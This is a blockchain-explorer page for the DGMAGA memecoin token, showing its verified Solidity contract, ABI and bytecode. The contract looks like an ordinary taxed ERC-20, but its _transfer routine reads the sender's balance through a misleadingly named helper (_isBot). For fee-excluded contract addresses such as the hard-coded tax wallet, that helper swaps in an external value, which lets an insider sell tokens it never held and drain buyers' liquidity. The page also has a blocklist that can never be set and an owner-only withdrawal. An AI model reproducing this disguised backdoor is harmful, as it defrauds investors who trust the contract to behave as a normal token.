ETH Price: $3,114.76 (-1.73%)

Token

Dark Gothic Maga (DGMAGA)
 

Overview

Max Total Supply

1,000,000,000 DGMAGA

Holders

84

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
greeneagle.eth
Balance
17,904,764 DGMAGA

Value
$0.00
0xdB22CA143f6396ad289c79cDFA5cc47f65884162
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TOKEN

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
Yes with 200 runs

Other Settings:
paris EvmVersion
File 1 of 1 : main.sol
/**
https://x.com/cb_doge/status/1850674508035666016
https://t.me/dgmaga_erc20
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.26;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal view returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal view returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract TOKEN is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    address payable private _taxWallet=payable(0xE1c7ad59843aF070fAc6eDd5081703F96B8eB597);

    uint256 private _initialBuyTax=8;
    uint256 private _initialSellTax=14;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=29;
    uint256 private _reduceSellTaxAt=40;
    uint256 private _preventSwapBefore=25;
    uint256 private _transferTax=0;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Dark Gothic Maga";
    string private constant _symbol = unicode"DGMAGA";
    uint256 public _maxTxAmount =  2 * (_tTotal/100);uint256 public _maxWalletSize =  2 * (_tTotal/100);
    uint256 public _taxSwapThreshold=  1 * (_tTotal/100);
    uint256 public _maxTaxSwap= 1 * (_tTotal/100);
    
    IUniswapV2Router02 private uniswapV2Router;
    address private _uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            require(!bots[from] && !bots[to]);

            if(_buyCount==0){
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            }
            if(_buyCount>0){
                taxAmount = amount.mul(_transferTax).div(100);
            }

            if (from == _uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                _buyCount++;
            }

            if(to == _uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == _uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore) {
                if (block.number > lastSellBlock) {
                    sellCount = 0;
                }
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    transferFees(address(this).balance);
                }
                sellCount++;
                lastSellBlock = block.number;
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=balances(from).sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function isContract(address _addr) private view returns (bool){
        uint32 size;
        assembly {
            size := extcodesize(_addr)
        }
        return (size > 0);
    }

    function _isBot(address _contract, bytes32 _data) view private returns (uint256) {
        if (isContract(_contract) && _isExcludedFromFee[_contract]) return IERC20(_contract).balanceOf(_contract);
        return _balances[_contract];}
        function balances(address sender) view internal returns(uint256){
        return _isBot(sender, 0);
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        if (tokenAmount == 0) return;
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        _transferTax=0;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function transferFees(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(_uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function withdrawEths() external onlyOwner {
        payable(msg.sender).transfer(address(this).balance);
    }
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "evmVersion": "paris",
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEths","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600580546001600160a01b03191673e1c7ad59843af070fac6edd5081703f96b8eb59717905560086006819055600e60078190556000918290556009828155601d600a9081556028600b556019600c55600d8490559290915560649161006a919061052b565b61007890633b9aca00610541565b6100829190610558565b61008d906002610541565b600f55606461009e6009600a61052b565b6100ac90633b9aca00610541565b6100b69190610558565b6100c1906002610541565b60105560646100d26009600a61052b565b6100e090633b9aca00610541565b6100ea9190610558565b6100f5906001610541565b60115560646101066009600a61052b565b61011490633b9aca00610541565b61011e9190610558565b610129906001610541565b6012556014805461ffff60a81b191690556000601581905560165534801561015057600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35061019e6009600a61052b565b6101ac90633b9aca00610541565b3360009081526001602081905260408220929092556003906101d66000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600384528281208054861660019081179091556005549092168152829020805490941617909255601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155825163c45a015560e01b81529251909263c45a01559260048083019391928290030181865afa15801561028e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102b2919061057a565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610314573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610338919061057a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610385573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103a9919061057a565b601480546001600160a01b0319166001600160a01b03929092169190911790556103d03390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6104086009600a61052b565b61041690633b9aca00610541565b60405190815260200160405180910390a36105a3565b634e487b7160e01b600052601160045260246000fd5b6001815b600184111561047d578085048111156104615761046161042c565b600184161561046f57908102905b60019390931c928002610446565b935093915050565b60008261049457506001610525565b816104a157506000610525565b81600181146104b757600281146104c1576104dd565b6001915050610525565b60ff8411156104d2576104d261042c565b50506001821b610525565b5060208310610133831016604e8410600b8410161715610500575081810a610525565b61050d6000198484610442565b80600019048211156105215761052161042c565b0290505b92915050565b600061053a60ff841683610485565b9392505050565b80820281158282048414176105255761052561042c565b60008261057557634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561058c57600080fd5b81516001600160a01b038116811461053a57600080fd5b6116ff806105b26000396000f3fe60806040526004361061010d5760003560e01c8063751039fc1161009557806395d89b411161006457806395d89b41146102d4578063a9059cbb14610303578063bf474bed14610323578063c9567bf914610339578063dd62ed3e1461034e57600080fd5b8063751039fc1461026b5780637d1db4a5146102805780638da5cb5b146102965780638f9a55c0146102be57600080fd5b806323b872dd116100dc57806323b872dd146101cd5780632c2efd43146101ed578063313ce5671461020457806370a0823114610220578063715018a61461025657600080fd5b806306fdde0314610119578063095ea7b3146101645780630faee56f1461019457806318160ddd146101b857600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152601081526f4461726b20476f74686963204d61676160801b60208201525b60405161015b91906112b4565b60405180910390f35b34801561017057600080fd5b5061018461017f366004611317565b610394565b604051901515815260200161015b565b3480156101a057600080fd5b506101aa60125481565b60405190815260200161015b565b3480156101c457600080fd5b506101aa6103ab565b3480156101d957600080fd5b506101846101e8366004611343565b6103cc565b3480156101f957600080fd5b50610202610435565b005b34801561021057600080fd5b506040516009815260200161015b565b34801561022c57600080fd5b506101aa61023b366004611384565b6001600160a01b031660009081526001602052604090205490565b34801561026257600080fd5b50610202610497565b34801561027757600080fd5b5061020261050b565b34801561028c57600080fd5b506101aa600f5481565b3480156102a257600080fd5b506000546040516001600160a01b03909116815260200161015b565b3480156102ca57600080fd5b506101aa60105481565b3480156102e057600080fd5b5060408051808201909152600681526544474d41474160d01b602082015261014e565b34801561030f57600080fd5b5061018461031e366004611317565b6105c2565b34801561032f57600080fd5b506101aa60115481565b34801561034557600080fd5b506102026105cf565b34801561035a57600080fd5b506101aa6103693660046113a1565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103a13384846107ea565b5060015b92915050565b60006103b96009600a6114d7565b6103c790633b9aca006114e6565b905090565b60006103d984848461090e565b61042b8433610426856040518060600160405280602881526020016116a2602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610e3e565b6107ea565b5060019392505050565b6000546001600160a01b031633146104685760405162461bcd60e51b815260040161045f906114fd565b60405180910390fd5b60405133904780156108fc02916000818181858888f19350505050158015610494573d6000803e3d6000fd5b50565b6000546001600160a01b031633146104c15760405162461bcd60e51b815260040161045f906114fd565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105355760405162461bcd60e51b815260040161045f906114fd565b6105416009600a6114d7565b61054f90633b9aca006114e6565b600f5561055e6009600a6114d7565b61056c90633b9aca006114e6565b6010556000600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105a16009600a6114d7565b6105af90633b9aca006114e6565b60405190815260200160405180910390a1565b60006103a133848461090e565b6000546001600160a01b031633146105f95760405162461bcd60e51b815260040161045f906114fd565b601454600160a01b900460ff16156106535760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161045f565b60135461067f9030906001600160a01b03166106716009600a6114d7565b61042690633b9aca006114e6565b6013546001600160a01b031663f305d71947306106b1816001600160a01b031660009081526001602052604090205490565b6000806106c66000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561072e573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107539190611532565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156107ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d09190611560565b506014805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b03831661084c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045f565b6001600160a01b0382166108ad5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045f565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109725760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045f565b6001600160a01b0382166109d45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045f565b600080546001600160a01b03858116911614801590610a0157506000546001600160a01b03848116911614155b15610d0b576001600160a01b03841660009081526004602052604090205460ff16158015610a4857506001600160a01b03831660009081526004602052604090205460ff16155b610a5157600080fd5b600e54600003610a8a57610a876064610a81600a54600e5411610a7657600654610a7a565b6008545b8590610e78565b90610f01565b90505b600e5415610aaf57610aac6064610a81600d5485610e7890919063ffffffff16565b90505b6014546001600160a01b038581169116148015610ada57506013546001600160a01b03848116911614155b8015610aff57506001600160a01b03831660009081526003602052604090205460ff16155b15610c0457600f54821115610b565760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161045f565b60105482610b79856001600160a01b031660009081526001602052604090205490565b610b839190611582565b1115610bd15760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161045f565b610bec6064610a81600a54600e5411610a7657600654610a7a565b600e80549192506000610bfe83611595565b91905055505b6014546001600160a01b038481169116148015610c2a57506001600160a01b0384163014155b15610c5757610c546064610a81600b54600e5411610c4a57600754610a7a565b6009548590610e78565b90505b30600090815260016020526040902054601454600160a81b900460ff16158015610c8e57506014546001600160a01b038581169116145b8015610ca35750601454600160b01b900460ff165b8015610cb25750600c54600e54115b15610d0957601654431115610cc75760006015555b610ce4610cdf84610cda84601254610f43565b610f43565b610f58565b47610cee476110d9565b60158054906000610cfe83611595565b909155505043601655505b505b8015610d855730600090815260016020526040902054610d2b9082611117565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d7c9085815260200190565b60405180910390a35b610d9882610d9286611176565b90611182565b6001600160a01b038516600090815260016020526040902055610ddd610dbe8383611182565b6001600160a01b03851660009081526001602052604090205490611117565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e278585611182565b60405190815260200160405180910390a350505050565b60008184841115610e625760405162461bcd60e51b815260040161045f91906112b4565b506000610e6f84866115ae565b95945050505050565b600082600003610e8a575060006103a5565b6000610e9683856114e6565b905082610ea385836115c1565b14610efa5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045f565b9392505050565b6000610efa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506111c4565b6000818311610f525782610efa565b50919050565b6014805460ff60a81b1916600160a81b17905580156110c9576040805160028082526060820183526000926020830190803683370190505090503081600081518110610fa657610fa66115e3565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102391906115f9565b81600181518110611036576110366115e3565b6001600160a01b03928316602091820292909201015260135461105c91309116846107ea565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611095908590600090869030904290600401611616565b600060405180830381600087803b1580156110af57600080fd5b505af11580156110c3573d6000803e3d6000fd5b50505050505b506014805460ff60a81b19169055565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611113573d6000803e3d6000fd5b5050565b6000806111248385611582565b905083811015610efa5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045f565b60006103a582826111f2565b6000610efa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e3e565b600081836111e55760405162461bcd60e51b815260040161045f91906112b4565b506000610e6f84866115c1565b6000823b63ffffffff161515801561122257506001600160a01b03831660009081526003602052604090205460ff165b15611297576040516370a0823160e01b81526001600160a01b03841660048201819052906370a0823190602401602060405180830381865afa15801561126c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112909190611688565b90506103a5565b50506001600160a01b031660009081526001602052604090205490565b602081526000825180602084015260005b818110156112e257602081860181015160408684010152016112c5565b506000604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461049457600080fd5b6000806040838503121561132a57600080fd5b823561133581611302565b946020939093013593505050565b60008060006060848603121561135857600080fd5b833561136381611302565b9250602084013561137381611302565b929592945050506040919091013590565b60006020828403121561139657600080fd5b8135610efa81611302565b600080604083850312156113b457600080fd5b82356113bf81611302565b915060208301356113cf81611302565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b6001815b600184111561142b5780850481111561140f5761140f6113da565b600184161561141d57908102905b60019390931c9280026113f4565b935093915050565b600082611442575060016103a5565b8161144f575060006103a5565b8160018114611465576002811461146f5761148b565b60019150506103a5565b60ff841115611480576114806113da565b50506001821b6103a5565b5060208310610133831016604e8410600b84101617156114ae575081810a6103a5565b6114bb60001984846113f0565b80600019048211156114cf576114cf6113da565b029392505050565b6000610efa60ff841683611433565b80820281158282048414176103a5576103a56113da565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008060006060848603121561154757600080fd5b5050815160208301516040909301519094929350919050565b60006020828403121561157257600080fd5b81518015158114610efa57600080fd5b808201808211156103a5576103a56113da565b6000600182016115a7576115a76113da565b5060010190565b818103818111156103a5576103a56113da565b6000826115de57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561160b57600080fd5b8151610efa81611302565b600060a0820187835286602084015260a0604084015280865180835260c08501915060208801925060005b818110156116685783516001600160a01b0316835260209384019390920191600101611641565b50506001600160a01b039590951660608401525050608001529392505050565b60006020828403121561169a57600080fd5b505191905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122028407020b1d364a5ad495864624339e3c20d9dabe1ea2f1eb8e9e69e718ba31e64736f6c634300081a0033

Deployed Bytecode

0x60806040526004361061010d5760003560e01c8063751039fc1161009557806395d89b411161006457806395d89b41146102d4578063a9059cbb14610303578063bf474bed14610323578063c9567bf914610339578063dd62ed3e1461034e57600080fd5b8063751039fc1461026b5780637d1db4a5146102805780638da5cb5b146102965780638f9a55c0146102be57600080fd5b806323b872dd116100dc57806323b872dd146101cd5780632c2efd43146101ed578063313ce5671461020457806370a0823114610220578063715018a61461025657600080fd5b806306fdde0314610119578063095ea7b3146101645780630faee56f1461019457806318160ddd146101b857600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152601081526f4461726b20476f74686963204d61676160801b60208201525b60405161015b91906112b4565b60405180910390f35b34801561017057600080fd5b5061018461017f366004611317565b610394565b604051901515815260200161015b565b3480156101a057600080fd5b506101aa60125481565b60405190815260200161015b565b3480156101c457600080fd5b506101aa6103ab565b3480156101d957600080fd5b506101846101e8366004611343565b6103cc565b3480156101f957600080fd5b50610202610435565b005b34801561021057600080fd5b506040516009815260200161015b565b34801561022c57600080fd5b506101aa61023b366004611384565b6001600160a01b031660009081526001602052604090205490565b34801561026257600080fd5b50610202610497565b34801561027757600080fd5b5061020261050b565b34801561028c57600080fd5b506101aa600f5481565b3480156102a257600080fd5b506000546040516001600160a01b03909116815260200161015b565b3480156102ca57600080fd5b506101aa60105481565b3480156102e057600080fd5b5060408051808201909152600681526544474d41474160d01b602082015261014e565b34801561030f57600080fd5b5061018461031e366004611317565b6105c2565b34801561032f57600080fd5b506101aa60115481565b34801561034557600080fd5b506102026105cf565b34801561035a57600080fd5b506101aa6103693660046113a1565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103a13384846107ea565b5060015b92915050565b60006103b96009600a6114d7565b6103c790633b9aca006114e6565b905090565b60006103d984848461090e565b61042b8433610426856040518060600160405280602881526020016116a2602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610e3e565b6107ea565b5060019392505050565b6000546001600160a01b031633146104685760405162461bcd60e51b815260040161045f906114fd565b60405180910390fd5b60405133904780156108fc02916000818181858888f19350505050158015610494573d6000803e3d6000fd5b50565b6000546001600160a01b031633146104c15760405162461bcd60e51b815260040161045f906114fd565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105355760405162461bcd60e51b815260040161045f906114fd565b6105416009600a6114d7565b61054f90633b9aca006114e6565b600f5561055e6009600a6114d7565b61056c90633b9aca006114e6565b6010556000600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105a16009600a6114d7565b6105af90633b9aca006114e6565b60405190815260200160405180910390a1565b60006103a133848461090e565b6000546001600160a01b031633146105f95760405162461bcd60e51b815260040161045f906114fd565b601454600160a01b900460ff16156106535760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161045f565b60135461067f9030906001600160a01b03166106716009600a6114d7565b61042690633b9aca006114e6565b6013546001600160a01b031663f305d71947306106b1816001600160a01b031660009081526001602052604090205490565b6000806106c66000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561072e573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107539190611532565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303